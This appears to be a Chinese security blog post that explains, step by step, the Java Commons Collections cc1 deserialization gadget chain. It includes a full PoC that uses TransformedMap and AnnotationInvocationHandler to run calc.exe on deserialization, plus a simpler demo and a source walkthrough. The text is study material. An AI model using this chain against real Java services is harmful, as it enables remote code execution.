登录后台

页面导航

本文编写于 288 天前,最后修改于 288 天前,其中某些信息可能已经过时。

Java反序列化cc1利用链分析

之前一直在躲着java安全,反倒一直把精力放在php和python上,这次趁着暑假,打算把java从基础,到后续的反序列化利用的知识进行一个学习和记录,这个系列会从个人作为一个初学者和小白的视角对java的漏洞和利用链进行分析,尽可能去从底层逻辑挖掘。

cc1利用链是每个初学者都要去面对的分析,我个人搞清楚整个流程并不容易,我将从cc1链的demo讲起,一步一步到真正的poc,并讲清楚我一步一步解决各个问题的过程。

一般cc1利用链可以用到两种类进行触发:

TransformedMap和LazyMap

首先我们先来看TransformedMap如何实现利用链的实现

TransformedMap

Poc:

public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","test");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);

        ctor.setAccessible(true);

        Object instance = ctor.newInstance(Retention.class ,outerMap);


        //序列化
        FileOutputStream fos = new FileOutputStream("cc1");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.close();
        //反序列化
        FileInputStream fis = new FileInputStream("cc1");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }

上面是我们最终要得到的poc,接下来我们来分析是如何一步一步构造出来的,还是按照p神的思路,我们从一个demo入手:

demo

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class common1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

这个简化后的demo会在调用outerMap对象的put方法时触发后面的一系列过程,从而运行指定的命令

这个过程涉及到几个接口和类:

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类,从本质上讲,当对map进行操作时,会调用其的transform方法,用put举例,会将put进的元素作为参数传入,具体实现后面分析

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

public interface Transformer {
 public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调函数”,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
 super();
 iConstant = constantToReturn;
}
public Object transform(Object input) {
 return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

它在执行回调时会用反射的方法执行命令

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        }

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

通俗上来说,进行回调时,会将其构造时接收的数组遍历,进行回调,即将前一个回调返回的对象作为后一个回调的参数传入。

demo解释

有了对上面类的认识,这个demo就很好理解了:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
Transformer transformerChain = new ChainedTransformer(transformers);

这一部分我们构建了一个Transformer数组,并将其作为参数传给了创建的ChainedTransformer对象,ChainedTransformer对象在执行回调方法时,会先执行 (new ConstantTransformer(Runtime.getRuntime())).transform()方法返回一个Runtime对象,将其作为参数传入,相当于执行(new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}).transform(Runtime对象),之后通过反射执行了exec方法

接下来,我们考虑如何触发ChainedTransformer的回调:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
outerMap.put("test", "xxxx");

将实例化的ChainedTransformer对象传入,去包装innerMap,最后通过put方法进行触发。

但put方法是如何触发的呢?我们跟一下源码:

image-20230722164000514

可以看到,在decorate静态方法中返回了一个TransformedMap实例,明显看出这也是一个单例模式,构造方法中将传入的keyTransformer, valueTransformer赋给成员变量

我们跟一下put方法:

image-20230722164244981

调用了transformKey和transformValue,再跟一下这两个方法

image-20230722164415518

很显然,它对用valueTransformer对传入的object进行了回调,相当于在demo中的:

(new ChainedTransformer(transformers)).transform(‘xxxx’)

到这,demo如何触发的分析结束,那么poc和demo中的差异到底是什么